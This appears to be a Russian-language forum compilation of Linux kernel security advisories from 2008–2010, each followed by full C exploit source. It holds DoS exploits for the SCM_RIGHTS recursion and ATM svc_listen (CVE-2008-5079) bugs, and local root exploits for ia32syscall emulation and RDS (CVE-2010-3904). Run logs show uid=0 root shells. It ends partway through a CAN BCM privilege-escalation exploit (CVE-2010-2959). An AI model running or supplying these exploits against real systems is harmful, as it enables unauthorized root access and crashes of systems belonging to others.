05 ноября, 2008 Программа: Linux kernel версии до 2.6.28-rc1 Опасность: Низкая Наличие эксплоита: Да Описание: Обнаруженные уязвимости позволяют локальному пользователю произвести DoS атаку. 1. Уязвимость существует из-за недостаточной проверки длины имени каталога в функции "hfsplus_find_cat()" в файле fs/hfsplus/catalog.c. Злоумышленник может смонтировать специально сформированную hfsplus файловую систему и вызвать аварийно завершить работу системы. 2. Уязвимость существует из-за того, что функция "hfsplus_block_allocate()" в файле fs/hfsplus/bitmap.c недостаточно проверяет возвращаемые значения функции "read_mapping_page()". Локальный пользователь может с помощью специально сформированной hfsplus файловой системы аварийно завершить работу системы. 3. Уязвимость существует из-за ошибки при косвенной рекурсии в функции "__scm_destroy()" в файле net/core/scm.c. Локальный пользователь может с помощью определенных операций с UNIX сокетом аварийно завершить работу системы. 4. Уязвимость существует из-за ошибки проверки границ данных в функции "lbs_process_bss()" в файле drivers/net/wireless/libertas/scan.c при обработке определенных beacon или probe ответов. Удаленный пользователь может вызвать переполнение буфера. Для успешной эксплуатации уязвимости должен использоваться Marvel 8xxx Libertas WLAN драйвер. URL производителя: _www.kernel.org Решение: Установите последнюю версию ядра 2.6.27.5 с сайта производителя. Уязвимости #3-4 исправлены в версиях 2.6.25.20 и 2.6.26.8. |::Exploit::| Код: #include <sys/socket.h> #include <sys/un.h> #include <unistd.h> #include <assert.h> #include <err.h> #include <stdlib.h> static int own_child(int *us) { int pid; int s[2]; struct msghdr mh; char crap[1024]; struct iovec iov; struct cmsghdr *c; int *fd; int rc; pid = fork(); if (pid == -1) err(1, "fork()"); if (pid) { close(us[1]); return pid; } close(us[0]); memset(&mh, 0, sizeof(mh)); iov.iov_base = "a"; iov.iov_len = 1; mh.msg_iov = &iov; mh.msg_iovlen = 1; mh.msg_control = crap; mh.msg_controllen = sizeof(crap); c = CMSG_FIRSTHDR(&mh); assert(c); c->cmsg_level = SOL_SOCKET; c->cmsg_type = SCM_RIGHTS; fd = (int*) CMSG_DATA(c); assert(fd); c->cmsg_len = CMSG_LEN(sizeof(int)); mh.msg_controllen = c->cmsg_len; while (1) { if (socketpair(PF_UNIX, SOCK_STREAM, 0, s) == -1) err(1, "socketpair()"); *fd = s[0]; rc = sendmsg(us[1], &mh, 0); if (rc == -1) err(1, "sendmsg()"); if (rc != iov.iov_len) errx(1, "sent short"); close(s[0]); close(us[1]); us[1] = s[1]; } } static void own(void) { static int pid; static int us[2]; char crap[1024]; char morte[1024]; struct cmsghdr *c; int rc; struct msghdr mh; struct iovec iov; int *fds; if (!pid) { if (socketpair(PF_UNIX, SOCK_STREAM, 0, us) == -1) err(1, "socketpair()"); pid = own_child(us); } iov.iov_base = morte; iov.iov_len = sizeof(morte); memset(&mh, 0, sizeof(mh)); mh.msg_iov = &iov; mh.msg_iovlen = 1; mh.msg_control = crap; mh.msg_controllen = sizeof(crap); rc = recvmsg(us[0], &mh, 0); if (rc == -1) err(1, "recvmsg()"); if (rc == 0) errx(1, "EOF"); c = CMSG_FIRSTHDR(&mh); assert(c); assert(c->cmsg_type == SCM_RIGHTS); fds = (int*) CMSG_DATA(c); assert(fds); close(us[0]); us[0] = *fds; } int main(int argc, char *argv[]) { own(); exit(0); } (c) _www.securitylab.ru Оригинал
Отказ в обслуживании в ядре Linux 10 декабря, 2008 Программа: Linux kernel 2.6.27.8 и более ранние версии. Опасность: Низкая Наличие эксплоита: Да Описание: Уязвимость позволяет локальному пользователю вызвать отказ в обслуживании. Уязвимость существует из-за того, что функция "svc_listen()" в файле net/atm/svc.c позволяет пользователям создавать неприсвоенные PVC/SVC записи путем многократного вызова функции для сокета. Локальный пользователь может с помощью функции "__vcc_walk()" файла net/atm/proc.c создать неприсвоенные записи и, затем, прочитать содержимое /proc/net/atm/vc и вызвать зацикливание. URL производителя: _www.kernel.org Решение: Установите исправление из GIT репозитория производителя. |::Exploit::| Код: /* Linux Kernel 2.6.27.7-generic - 2.6.18 - 2.6.24-1 Dos Exploit ariginal idéé : Jon Oberheide łł http://www.milw0rm.com/exploits/7405 tested : 2.6.27.7-generic - 2.6.18 - 2.6.24-1 by : ADU-T patching : http://marc.info/?l=linux-netdev&m=122841256115780&w=2 */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <linux/atm.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/stat.h> #define NUM_CPUS 8 #define ATM "/proc/net/atm/avc" int main(void) { char *err, adurit[2000]; int i, ret, sock, proc; struct atm_qos dj; struct sockaddr_atmsvc addr; sock = socket(PF_ATMSVC, SOCK_DGRAM, 0); memset(&dj, 0, sizeof(dj)); dj.rxtp.traffic_class = ATM_UBR; dj.txtp.traffic_class = ATM_UBR; dj.aal = ATM_NO_AAL; ret = setsockopt(sock, SOL_ATM, SO_ATMQOS, &dj, sizeof(dj)); if (ret == -1) { printf("failed !\n"); return 1; } memset(&addr, 0, sizeof(addr)); addr.sas_family = AF_ATMSVC; bind(sock, (struct sockaddr *) &addr, sizeof(addr)); listen(sock, 10); listen(sock, 10); for (i = 1; i < NUM_CPUS; ++i) { if (fork() != 0) { break; } } proc = open(ATM, O_RDONLY); ret = read(proc, &adurit, 2000); close(proc); return 0; } Код: /* * cve-2008-5079.c * * Linux Kernel <= 2.6.27.8 ATMSVC local DoS * Jon Oberheide <jon@oberheide.org> * * http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5079: * * net/atm/svc.c in the ATM subsystem in the Linux kernel 2.6.27.8 * and earlier allows local users to cause a denial of service * (kernel infinite loop) by making two calls to svc_listen for the * same socket, and then reading a /proc/net/atm/*vc file, related * to corruption of the vcc table. * */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <errno.h> #include <linux/atm.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/stat.h> #define NR_CPUS 8 #define PROC_ATM "/proc/net/atm/pvc" int main(void) { char *err, dummy[1024]; int i, ret, sock, proc; struct atm_qos qos; struct sockaddr_atmsvc addr; printf("[+] creating ATM socket...\n"); sock = socket(PF_ATMSVC, SOCK_DGRAM, 0); if (sock < 0) { err = "socket(2) for type PF_ATMSVC failed"; printf("[-] PoC error: %s (%s)\n", err, strerror(errno)); return 1; } memset(&qos, 0, sizeof(qos)); qos.rxtp.traffic_class = ATM_UBR; qos.txtp.traffic_class = ATM_UBR; qos.aal = ATM_NO_AAL; printf("[+] setting socket QoS options...\n"); ret = setsockopt(sock, SOL_ATM, SO_ATMQOS, &qos, sizeof(qos)); if (ret == -1) { err = "setsockopt(2) for option SO_ATMQOS failed"; printf("[-] PoC error: %s (%s)\n", err, strerror(errno)); return 1; } memset(&addr, 0, sizeof(addr)); addr.sas_family = AF_ATMSVC; printf("[+] binding socket...\n"); bind(sock, (struct sockaddr *) &addr, sizeof(addr)); printf("[+] socket listen...\n"); listen(sock, 10); printf("[+] duplicate socket listen...\n"); listen(sock, 10); printf("[+] attempting local DoS...\n"); for (i = 0; i < NR_CPUS; ++i) { if (fork() != 0) { break; } } proc = open(PROC_ATM, O_RDONLY); if (proc == -1) { err = "opening " PROC_ATM " failed"; printf("[-] PoC error: %s (%s)\n", err, strerror(errno)); return 1; } ret = read(proc, &dummy, 1024); close(proc); printf("[-] Local DoS failed.\n"); return 0; } (c) www.securitylab.ru
Разыменование нулевого указателя в fs/pipe.c в ядре Linux 04 ноября, 2009 Программа: Linux kernel версии до 2.6.32-rc6 Опасность: Низкая Наличие эксплоита: Да Описание: Уязвимость позволяет локальному пользователю вызвать отказ в обслуживании и повысить свои привилегии на системе. Уязвимость существует из-за ошибки блокирования в функциях pipe_rdwr_open(), pipe_write_open(), и pipe_read_open() в файле fs/pipe.c. Локальный пользователь может с помощью определенных операций над каналом вызвать разыменование нулевого указателя и повысить свои привилегии на системе. URL производителя: www.kernel.org Решение: Установите последнюю версию 2.6.32-rc6 с сайта производителя securitylab.ru Эксплойт
Множественные уязвимости в ядре Linux до 2.6.32 07 декабря, 2009 Программа: Linux kernel версии до 2.6.32 Опасность: Низкая Описание: Обнаруженные уязвимости позволяют удаленному пользователю вызвать отказ в обслуживании и повысить свои привилегии на системе. 1. Уязвимость существует из-за ошибки в функции kvm_vcpu_ioctl_x86_setup_mce() в файле arch/x86/kvm/x86.c. Локальный пользователь может с помощью специально сформированного KVM_X86_SETUP_MCE IOCTL запроса вызвать повреждение памяти и выполнить произвольный код на системе с повышенными привилегиями. 2. Уязвимость существует из-за ошибки в функции ieee80211_sta_stop_rx_ba_session() в файле net/mac80211/agg-rx.c. Удаленный пользователь может вызвать отказ в обслуживании системы. 3. Уязвимость существует из-за ошибки состояния операции в подсистеме mac80211 при обработке delBA фреймов. Злоумышленник может вызвать панику ядра системы. Уязвимость распространяется только на HT драйвера. URL производителя: www.kernel.org Решение: Установите последнюю версию 2.6.32 с сайта производителя. securitylab.ru
Local root exploit for the x86_64 Linux kernel ia32syscall emulation vulnerability. Код: /* * exploit for x86_64 linux kernel ia32syscall emulation (again) * rediscovered by ben hawkes * with help from robert swiecki and tavis ormandy * * original vulnerability discovered by Wojciech Purczynski * * original exploit by * Robert Swiecki <robert_at_swiecki.net> * Przemyslaw Frasunek <venglin_at_freebsd.lublin.pl> * Pawel Pisarczyk <pawel_at_immos.com.pl> * * kernel priv escalation code borrowed from spender * */ #include <sys/types.h> #include <sys/wait.h> #include <sys/ptrace.h> #include <inttypes.h> #include <sys/reg.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <sys/mman.h> #include <string.h> typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; int kernelmodecode(void *file, void *vma) { commit_creds(prepare_kernel_cred(0)); return -1; } unsigned long get_symbol(char *name) { FILE *f; unsigned long addr; char dummy; char sname[512]; int ret = 0, oldstyle = 0; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { f = fopen("/proc/ksyms", "r"); if (f == NULL) return 0; oldstyle = 1; } while (ret != EOF) { if (!oldstyle) { ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname); } else { ret = fscanf(f, "%p %s\n", (void **) &addr, sname); if (ret == 2) { char *p; if (strstr(sname, "_O/") || strstr(sname, "_S.")) { continue; } p = strrchr(sname, '_'); if (p > ((char *) sname + 5) && !strncmp(p - 3, "smp", 3)) { p = p - 4; while (p > (char *)sname && *(p - 1) == '_') { p--; } *p = '\0'; } } } if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { printf("resolved symbol %s to %p\n", name, (void *) addr); fclose(f); return addr; } } fclose(f); return 0; } static void docall(uint64_t *ptr, uint64_t size) { commit_creds = (_commit_creds) get_symbol("commit_creds"); if (!commit_creds) { printf("symbol table not available, aborting!\n"); exit(1); } prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred"); if (!prepare_kernel_cred) { printf("symbol table not available, aborting!\n"); exit(1); } uint64_t tmp = ((uint64_t)ptr & ~0x00000000000FFF); printf("mapping at %lx\n", tmp); if (mmap((void*)tmp, size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) { printf("mmap fault\n"); exit(1); } for (; (uint64_t) ptr < (tmp + size); ptr++) *ptr = (uint64_t)kernelmodecode; __asm__("\n" "\tmovq $0x101, %rax\n" "\tint $0x80\n"); printf("UID %d, EUID:%d GID:%d, EGID:%d\n", getuid(), geteuid(), getgid(), getegid()); execl("/bin/sh", "bin/sh", NULL); printf("no /bin/sh ??\n"); exit(0); } int main(int argc, char **argv) { int pid, status, set = 0; uint64_t rax; uint64_t kern_s = 0xffffffff80000000; uint64_t kern_e = 0xffffffff84000000; uint64_t off = 0x0000000800000101 * 8; if (argc == 4) { docall((uint64_t*)(kern_s + off), kern_e - kern_s); exit(0); } if ((pid = fork()) == 0) { ptrace(PTRACE_TRACEME, 0, 0, 0); execl(argv[0], argv[0], "2", "3", "4", NULL); perror("exec fault"); exit(1); } if (pid == -1) { printf("fork fault\n"); exit(1); } for (;;) { if (wait(&status) != pid) continue; if (WIFEXITED(status)) { printf("Process finished\n"); break; } if (!WIFSTOPPED(status)) continue; if (WSTOPSIG(status) != SIGTRAP) { printf("Process received signal: %d\n", WSTOPSIG(status)); break; } rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0); if (rax == 0x000000000101) { if (ptrace(PTRACE_POKEUSER, pid, 8*ORIG_RAX, off/8) == -1) { printf("PTRACE_POKEUSER fault\n"); exit(1); } set = 1; //rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0); } if ((rax == 11) && set) { ptrace(PTRACE_DETACH, pid, 0, 0); for(;;) sleep(10000); } if (ptrace(PTRACE_SYSCALL, pid, 1, 0) == -1) { printf("PTRACE_SYSCALL fault\n"); exit(1); } } return 0; } Описание: http://www.opennet.ru/opennews/art.shtml?num=27979 Сплоит: http://packetstormsecurity.org/0709-exploits/linux-syscall.txt Целевая система: x86_64 Linux 2.6.27+ до 2.6.33.2. возможно выше. Последнее изменение в сплойте: Sep 15 20:04:42 2010 Пример работы: Код: onthar@desktop:~/exp$ gcc robert_you_suck.c onthar@desktop:~/exp$ ./a.out resolved symbol commit_creds to 0xffffffff8108bd90 resolved symbol prepare_kernel_cred to 0xffffffff8108c170 mapping at 3f80000000 UID 0, EUID:0 GID:0, EGID:0 # id uid=0(root) gid=0(root) #
Linux Kernel <= 2.6.36-rc8 RDS privilege escalation exploit Linux Kernel <= 2.6.36-rc8 RDS privilege escalation exploit Источник: http://www.vsecurity.com/resources/advisory/20101019-1/ Код: /* * Linux Kernel <= 2.6.36-rc8 RDS privilege escalation exploit * CVE-2010-3904 * by Dan Rosenberg <drosenberg@vsecurity.com> * * Copyright 2010 Virtual Security Research, LLC * * The handling functions for sending and receiving RDS messages * use unchecked __copy_*_user_inatomic functions without any * access checks on user-provided pointers. As a result, by * passing a kernel address as an iovec base address in recvmsg-style * calls, a local user can overwrite arbitrary kernel memory, which * can easily be used to escalate privileges to root. Alternatively, * an arbitrary kernel read can be performed via sendmsg calls. * * This exploit is simple - it resolves a few kernel symbols, * sets the security_ops to the default structure, then overwrites * a function pointer (ptrace_traceme) in that structure to point * to the payload. After triggering the payload, the original * value is restored. Hard-coding the offset of this function * pointer is a bit inelegant, but I wanted to keep it simple and * architecture-independent (i.e. no inline assembly). * * The vulnerability is yet another example of why you shouldn't * allow loading of random packet families unless you actually * need them. * * Greets to spender, kees, taviso, hawkes, team lollerskaters, * joberheide, bla, sts, and VSR * */ #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <errno.h> #include <string.h> #include <sys/ptrace.h> #include <sys/utsname.h> #define RECVPORT 5555 #define SENDPORT 6666 int prep_sock(int port) { int s, ret; struct sockaddr_in addr; s = socket(PF_RDS, SOCK_SEQPACKET, 0); if(s < 0) { printf("[*] Could not open socket.\n"); exit(-1); } memset(&addr, 0, sizeof(addr)); addr.sin_addr.s_addr = inet_addr("127.0.0.1"); addr.sin_family = AF_INET; addr.sin_port = htons(port); ret = bind(s, (struct sockaddr *)&addr, sizeof(addr)); if(ret < 0) { printf("[*] Could not bind socket.\n"); exit(-1); } return s; } void get_message(unsigned long address, int sock) { recvfrom(sock, (void *)address, sizeof(void *), 0, NULL, NULL); } void send_message(unsigned long value, int sock) { int size, ret; struct sockaddr_in recvaddr; struct msghdr msg; struct iovec iov; unsigned long buf; memset(&recvaddr, 0, sizeof(recvaddr)); size = sizeof(recvaddr); recvaddr.sin_port = htons(RECVPORT); recvaddr.sin_family = AF_INET; recvaddr.sin_addr.s_addr = inet_addr("127.0.0.1"); memset(&msg, 0, sizeof(msg)); msg.msg_name = &recvaddr; msg.msg_namelen = sizeof(recvaddr); msg.msg_iovlen = 1; buf = value; iov.iov_len = sizeof(buf); iov.iov_base = &buf; msg.msg_iov = &iov; ret = sendmsg(sock, &msg, 0); if(ret < 0) { printf("[*] Something went wrong sending.\n"); exit(-1); } } void write_to_mem(unsigned long addr, unsigned long value, int sendsock, int recvsock) { if(!fork()) { sleep(1); send_message(value, sendsock); exit(1); } else { get_message(addr, recvsock); wait(NULL); } } typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; int __attribute__((regparm(3))) getroot(void * file, void * vma) { commit_creds(prepare_kernel_cred(0)); return -1; } /* thanks spender... */ unsigned long get_kernel_sym(char *name) { FILE *f; unsigned long addr; char dummy; char sname[512]; struct utsname ver; int ret; int rep = 0; int oldstyle = 0; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { f = fopen("/proc/ksyms", "r"); if (f == NULL) goto fallback; oldstyle = 1; } repeat: ret = 0; while(ret != EOF) { if (!oldstyle) ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); else { ret = fscanf(f, "%p %s\n", (void **)&addr, sname); if (ret == 2) { char *p; if (strstr(sname, "_O/") || strstr(sname, "_S.")) continue; p = strrchr(sname, '_'); if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) { p = p - 4; while (p > (char *)sname && *(p - 1) == '_') p--; *p = '\0'; } } } if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : ""); fclose(f); return addr; } } fclose(f); if (rep) return 0; fallback: /* didn't find the symbol, let's retry with the System.map dedicated to the pointlessness of Russell Coker's SELinux test machine (why does he keep upgrading the kernel if "all necessary security can be provided by SE Linux"?) */ uname(&ver); if (strncmp(ver.release, "2.6", 3)) oldstyle = 1; sprintf(sname, "/boot/System.map-%s", ver.release); f = fopen(sname, "r"); if (f == NULL) return 0; rep = 1; goto repeat; } int main(int argc, char * argv[]) { unsigned long sec_ops, def_ops, cap_ptrace, target; int sendsock, recvsock; struct utsname ver; printf("[*] Linux kernel >= 2.6.30 RDS socket exploit\n"); printf("[*] by Dan Rosenberg\n"); uname(&ver); if(strncmp(ver.release, "2.6.3", 5)) { printf("[*] Your kernel is not vulnerable.\n"); return -1; } /* Resolve addresses of relevant symbols */ printf("[*] Resolving kernel addresses...\n"); sec_ops = get_kernel_sym("security_ops"); def_ops = get_kernel_sym("default_security_ops"); cap_ptrace = get_kernel_sym("cap_ptrace_traceme"); commit_creds = (_commit_creds) get_kernel_sym("commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred"); if(!sec_ops || !def_ops || !cap_ptrace || !commit_creds || !prepare_kernel_cred) { printf("[*] Failed to resolve kernel symbols.\n"); return -1; } /* Calculate target */ target = def_ops + sizeof(void *) + ((11 + sizeof(void *)) & ~(sizeof(void *) - 1)); sendsock = prep_sock(SENDPORT); recvsock = prep_sock(RECVPORT); /* Reset security ops */ printf("[*] Overwriting security ops...\n"); write_to_mem(sec_ops, def_ops, sendsock, recvsock); /* Overwrite ptrace_traceme security op fptr */ printf("[*] Overwriting function pointer...\n"); write_to_mem(target, (unsigned long)&getroot, sendsock, recvsock); /* Trigger the payload */ printf("[*] Triggering payload...\n"); ptrace(PTRACE_TRACEME, 1, NULL, NULL); /* Restore the ptrace_traceme security op */ printf("[*] Restoring function pointer...\n"); write_to_mem(target, cap_ptrace, sendsock, recvsock); if(getuid()) { printf("[*] Exploit failed to get root.\n"); return -1; } printf("[*] Got root!\n"); execl("/bin/sh", "sh", NULL); } Код: asddas@nb:~/temp$ uname -a Linux nb 2.6.31-21-generic #59-Ubuntu SMP Wed Mar 24 07:28:56 UTC 2010 i686 GNU/Linux asddas@nb:~/temp$ gcc 1.c -o 123a asddas@nb:~/temp$ ./123a [*] Linux kernel >= 2.6.30 RDS socket exploit [*] by Dan Rosenberg [*] Resolving kernel addresses... [+] Resolved security_ops to 0xc089c1e8 [+] Resolved default_security_ops to 0xc075b280 [+] Resolved cap_ptrace_traceme to 0xc02cc230 [+] Resolved commit_creds to 0xc01625a0 [+] Resolved prepare_kernel_cred to 0xc01627a0 [*] Overwriting security ops... [*] Overwriting function pointer... [*] Triggering payload... [*] Restoring function pointer... [*] Got root! # id uid=0(root) gid=0(root) Взял с rdot.org
Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Escalation Exploit Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Escalation Exploit Сплойт направлен на повышение привелегий только в 32-bit Ubuntu Lucid 10.04 (2.6.32-21-generic), но может быть легко поправлен под другой дистрибьютив. Код: * Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Escalation Exploit * Jon Oberheide <jon@oberheide.org> * http://jon.oberheide.org Код: /* * i-CAN-haz-MODHARDEN.c * * Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Escalation Exploit * Jon Oberheide <jon@oberheide.org> * http://jon.oberheide.org * * Information: * * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2959 * * Ben Hawkes discovered an integer overflow in the Controller Area Network * (CAN) subsystem when setting up frame content and filtering certain * messages. An attacker could send specially crafted CAN traffic to crash * the system or gain root privileges. * * Usage: * * $ gcc i-can-haz-modharden.c -o i-can-haz-modharden * $ ./i-can-haz-modharden * ... * [+] launching root shell! * # id * uid=0(root) gid=0(root) * * Notes: * * The allocation pattern of the CAN BCM module gives us some desirable * properties for smashing the SLUB. We control the kmalloc with a 16-byte * granularity allowing us to place our allocation in the SLUB cache of our * choosing (we'll use kmalloc-96 and smash a shmid_kernel struct for * old-times sake). The allocation can also be made in its own discrete * stage before the overwrite which allows us to be a bit more conservative * in ensuring the proper layout of our SLUB cache. * * To exploit the vulnerability, we first create a BCM RX op with a crafted * nframes to trigger the integer overflow during the kmalloc. On the second * call to update the existing RX op, we bypass the E2BIG check since the * stored nframes in the op is large, yet has an insufficiently sized * allocation associated with it. We then have a controlled write into the * adjacent shmid_kernel object in the 96-byte SLUB cache. * * However, while we control the length of the SLUB overwrite via a * memcpy_fromiovec operation, there exists a memset operation that directly * follows which zeros out last_frames, likely an adjacent allocation, with * the same malformed length, effectively nullifying our shmid smash. To * work around this, we take advantage of the fact that copy_from_user can * perform partial writes on x86 and trigger an EFAULT by setting up a * truncated memory mapping as the source for the memcpy_fromiovec operation, * allowing us to smash the necessary amount of memory and then pop out and * return early before the memset operation occurs. * * We then perform a dry-run and detect the shmid smash via an EIDRM errno * from shmat() caused by an invalid ipc_perm sequence number. Once we're * sure we have a shmid_kernel under our control we re-smash it with the * malformed version and redirect control flow to our credential modifying * calls mapped in user space. * * Distros: please use grsecurity's MODHARDEN or SELinux's module_request * to restrict unprivileged loading of uncommon packet families. Allowing * the loading of poorly-written PF modules just adds a non-trivial and * unnecessary attack surface to the kernel. * * Targeted for 32-bit Ubuntu Lucid 10.04 (2.6.32-21-generic), but ports * easily to other vulnerable kernels/distros. Careful, it could use some * post-exploitation stability love as well. * * Props to twiz, sgrakkyu, spender, qaaz, and anyone else I missed that * this exploit borrows code from. */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <fcntl.h> #include <limits.h> #include <inttypes.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/ipc.h> #include <sys/shm.h> #include <sys/mman.h> #include <sys/stat.h> #define SLUB "kmalloc-96" #define ALLOCATION 96 #define FILLER 100 #ifndef PF_CAN #define PF_CAN 29 #endif #ifndef CAN_BCM #define CAN_BCM 2 #endif struct sockaddr_can { sa_family_t can_family; int can_ifindex; union { struct { uint32_t rx_id, tx_id; } tp; } can_addr; }; struct can_frame { uint32_t can_id; uint8_t can_dlc; uint8_t data[8] __attribute__((aligned(8))); }; struct bcm_msg_head { uint32_t opcode; uint32_t flags; uint32_t count; struct timeval ival1, ival2; uint32_t can_id; uint32_t nframes; struct can_frame frames[0]; }; #define RX_SETUP 5 #define RX_DELETE 6 #define CFSIZ sizeof(struct can_frame) #define MHSIZ sizeof(struct bcm_msg_head) #define IPCMNI 32768 #define EIDRM 43 #define HDRLEN_KMALLOC 8 struct list_head { struct list_head *next; struct list_head *prev; }; struct super_block { struct list_head s_list; unsigned int s_dev; unsigned long s_blocksize; unsigned char s_blocksize_bits; unsigned char s_dirt; uint64_t s_maxbytes; void *s_type; void *s_op; void *dq_op; void *s_qcop; void *s_export_op; unsigned long s_flags; } super_block; struct mutex { unsigned int count; unsigned int wait_lock; struct list_head wait_list; void *owner; }; struct inode { struct list_head i_hash; struct list_head i_list; struct list_head i_sb_list; struct list_head i_dentry_list; unsigned long i_ino; unsigned int i_count; unsigned int i_nlink; unsigned int i_uid; unsigned int i_gid; unsigned int i_rdev; uint64_t i_version; uint64_t i_size; unsigned int i_size_seqcount; long i_atime_tv_sec; long i_atime_tv_nsec; long i_mtime_tv_sec; long i_mtime_tv_nsec; long i_ctime_tv_sec; long i_ctime_tv_nsec; uint64_t i_blocks; unsigned int i_blkbits; unsigned short i_bytes; unsigned short i_mode; unsigned int i_lock; struct mutex i_mutex; unsigned int i_alloc_sem_activity; unsigned int i_alloc_sem_wait_lock; struct list_head i_alloc_sem_wait_list; void *i_op; void *i_fop; struct super_block *i_sb; void *i_flock; void *i_mapping; char i_data[84]; void *i_dquot_1; void *i_dquot_2; struct list_head i_devices; void *i_pipe_union; unsigned int i_generation; unsigned int i_fsnotify_mask; void *i_fsnotify_mark_entries; struct list_head inotify_watches; struct mutex inotify_mutex; } inode; struct dentry { unsigned int d_count; unsigned int d_flags; unsigned int d_lock; int d_mounted; void *d_inode; struct list_head d_hash; void *d_parent; } dentry; struct file_operations { void *owner; void *llseek; void *read; void *write; void *aio_read; void *aio_write; void *readdir; void *poll; void *ioctl; void *unlocked_ioctl; void *compat_ioctl; void *mmap; void *open; void *flush; void *release; void *fsync; void *aio_fsync; void *fasync; void *lock; void *sendpage; void *get_unmapped_area; void *check_flags; void *flock; void *splice_write; void *splice_read; void *setlease; } op; struct vfsmount { struct list_head mnt_hash; void *mnt_parent; void *mnt_mountpoint; void *mnt_root; void *mnt_sb; struct list_head mnt_mounts; struct list_head mnt_child; int mnt_flags; const char *mnt_devname; struct list_head mnt_list; struct list_head mnt_expire; struct list_head mnt_share; struct list_head mnt_slave_list; struct list_head mnt_slave; struct vfsmount *mnt_master; struct mnt_namespace *mnt_ns; int mnt_id; int mnt_group_id; int mnt_count; } vfsmount; struct file { struct list_head fu_list; struct vfsmount *f_vfsmnt; struct dentry *f_dentry; void *f_op; unsigned int f_lock; unsigned long f_count; } file; struct kern_ipc_perm { unsigned int lock; int deleted; int id; unsigned int key; unsigned int uid; unsigned int gid; unsigned int cuid; unsigned int cgid; unsigned int mode; unsigned int seq; void *security; }; struct shmid_kernel { struct kern_ipc_perm shm_perm; struct file *shm_file; unsigned long shm_nattch; unsigned long shm_segsz; time_t shm_atim; time_t shm_dtim; time_t shm_ctim; unsigned int shm_cprid; unsigned int shm_lprid; void *mlock_user; } shmid_kernel; typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; int __attribute__((regparm(3))) kernel_code(struct file *file, void *vma) { commit_creds(prepare_kernel_cred(0)); return -1; } unsigned long get_symbol(char *name) { FILE *f; unsigned long addr; char dummy; char sname[512]; int ret = 0, oldstyle; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { f = fopen("/proc/ksyms", "r"); if (f == NULL) return 0; oldstyle = 1; } while (ret != EOF) { if (!oldstyle) { ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname); } else { ret = fscanf(f, "%p %s\n", (void **) &addr, sname); if (ret == 2) { char *p; if (strstr(sname, "_O/") || strstr(sname, "_S.")) { continue; } p = strrchr(sname, '_'); if (p > ((char *) sname + 5) && !strncmp(p - 3, "smp", 3)) { p = p - 4; while (p > (char *)sname && *(p - 1) == '_') { p--; } *p = '\0'; } } } if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { printf("[+] resolved symbol %s to %p\n", name, (void *) addr); fclose(f); return addr; } } fclose(f); return 0; } int check_slabinfo(char *cache, int *active_out, int *total_out) { FILE *fp; char name[64], slab[256]; int active, total, diff; memset(slab, 0, sizeof(slab)); memset(name, 0, sizeof(name)); fp = fopen("/proc/slabinfo", "r"); if (!fp) { printf("[-] sorry, /proc/slabinfo is not available!"); exit(1); } fgets(slab, sizeof(slab) - 1, fp); while (1) { fgets(slab, sizeof(slab) - 1, fp); sscanf(slab, "%s %u %u", name, &active, &total); diff = total - active; if (strcmp(name, cache) == 0) { break; } } fclose(fp); if (active_out) { *active_out = active; } if (total_out) { *total_out = total; } return diff; } void trigger(void) { int *shmids; int i, ret, sock, cnt, base, smashed; int diff, active, total, active_new, total_new; int len, sock_len, mmap_len; struct sockaddr_can addr; struct bcm_msg_head *msg; void *efault; char *buf; printf("[+] creating PF_CAN socket...\n"); sock = socket(PF_CAN, SOCK_DGRAM, CAN_BCM); if (sock < 0) { printf("[-] kernel lacks CAN packet family support\n"); exit(1); } printf("[+] connecting PF_CAN socket...\n"); memset(&addr, 0, sizeof(addr)); addr.can_family = PF_CAN; ret = connect(sock, (struct sockaddr *) &addr, sizeof(addr)); if (sock < 0) { printf("[-] could not connect CAN socket\n"); exit(1); } len = MHSIZ + (CFSIZ * (ALLOCATION / 16)); msg = malloc(len); memset(msg, 0, len); msg->can_id = 2959; 